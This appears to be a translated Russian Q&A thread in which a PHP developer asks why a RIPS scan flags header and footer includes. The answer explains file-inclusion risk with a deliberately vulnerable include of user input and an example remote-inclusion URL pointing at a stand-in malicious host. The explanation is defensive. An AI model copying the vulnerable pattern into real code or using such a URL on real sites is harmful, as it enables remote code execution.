У меня есть header.php и footer.php, которые я включаю во все другие страницы, такие как home, contact, about us и т. Д.
То, как я включил заголовок и файл нижнего колонтитула
<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>
Все просто и отлично работает.
Я решил проверить свой проект на уязвимость и скачал сканер RIPS. После сканирования результат
Userinput reaches sensitive sink.
5: include include 'inc/header.php'; // header.php
requires:
5: if(!in_array($_GET['file'], $files)) else
которые в основном говорят, что и верхний и нижний колонтитулы уязвимы, и я должен использовать
if(!in_array($_GET['file'], $files)) else
Почему простой заголовочный файл и файл нижнего колонтитула будут уязвимы? и если уязвим, как я должен реализовать, если (! in_array ($ _ GET [‘file’], $ files)) else ??
header.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="icon" href="images/common/lbfavicon.ico" />
<meta name="author" content="example.com" />
<link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
<link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>
<body>
<div id="header-wrapper">
<div class="container">
<div id="nav">
<ul>
<li><a href="./">Home</a></li>
<li><a href="index.php?page=about">About</a></li>
<li><a href="index.php?page=contact">Contact</a></li>
</ul>
</div><!-- nav ends -->
</div><!-- container ends -->
</div><!-- header wrapper ends -->
<div id="header">
<div class="container">
<div id="logo">
<a href="./"><img src="template/images/logo.png" width="125" height="45" alt="logo" /></a>
</div><!-- logo ends -->
<div id="search">
<form method="get" action="searchresult.php">
<div class="form-item">
Search: <input type="text" maxlength="120" name="searchfor" />
</div>
</form>
</div><!-- search ends -->
</div><!-- container ends-->
</div><!-- header ends -->
<div class="container">
<div id="announcement">
<div id="breadcrumbs"></div>
</div><!-- announcement ends -->
<div id="pagewrapper">
footer.php
<div id="bottom">
<div class="column">
<h2>Abc.com</h2>
<ul>
<li><a href="about">About</a></li>
<li><a href="contact">Contact</a></li>
</ul>
</div>
<div class="column">
<h2>Mode of payment</h2>
<ul>
<li>Credit/Debit card | Cheque | Demand draft</li>
</ul>
<h2>Get in touch</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div class="column">
<h2>Call us / Mail us</h2>
<ul>
<li>0-9999384745 / <a href="mailto:[email protected]">[email protected]</a></li>
</ul>
<h2>Share us</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div style="clear: both;"></div>
</div> <!-- bottom ends -->
<div id="footer">
</div>
</div> <!--Pagewrapper end-->
</div>
</body>
</html>
Ну, я полагаю, что это всего лишь предупреждение, но в глобальном смысле, когда вы включаете сценарии .php, имена которых поступают из пользовательского ввода, вы должны абсолютно проверить, правильны ли введенные имена (чтобы избежать проблем безопасности).
Например, многие веб-сайты используют «глобальный» файл, который будет включать файл в соответствии с запросами, поступающими от пользователя.
Пример :
<?php
$get = $_GET['action'];
if ($get == "index") {
include "includes/index.php";
}
//...
else
{
include $get .".php";
}
Теперь давайте представим, что кто-то хочет включить вредоносный скрипт на ваш сайт. Если на вашем сервере разрешены межсайтовые запросы, люди могут указать какой-нибудь внешний скрипт, который может быть опасным для вашего сервера или других пользователей.
Пример: ./global.php?action=http://malicious4ever.com/dirtything
Других решений пока нет …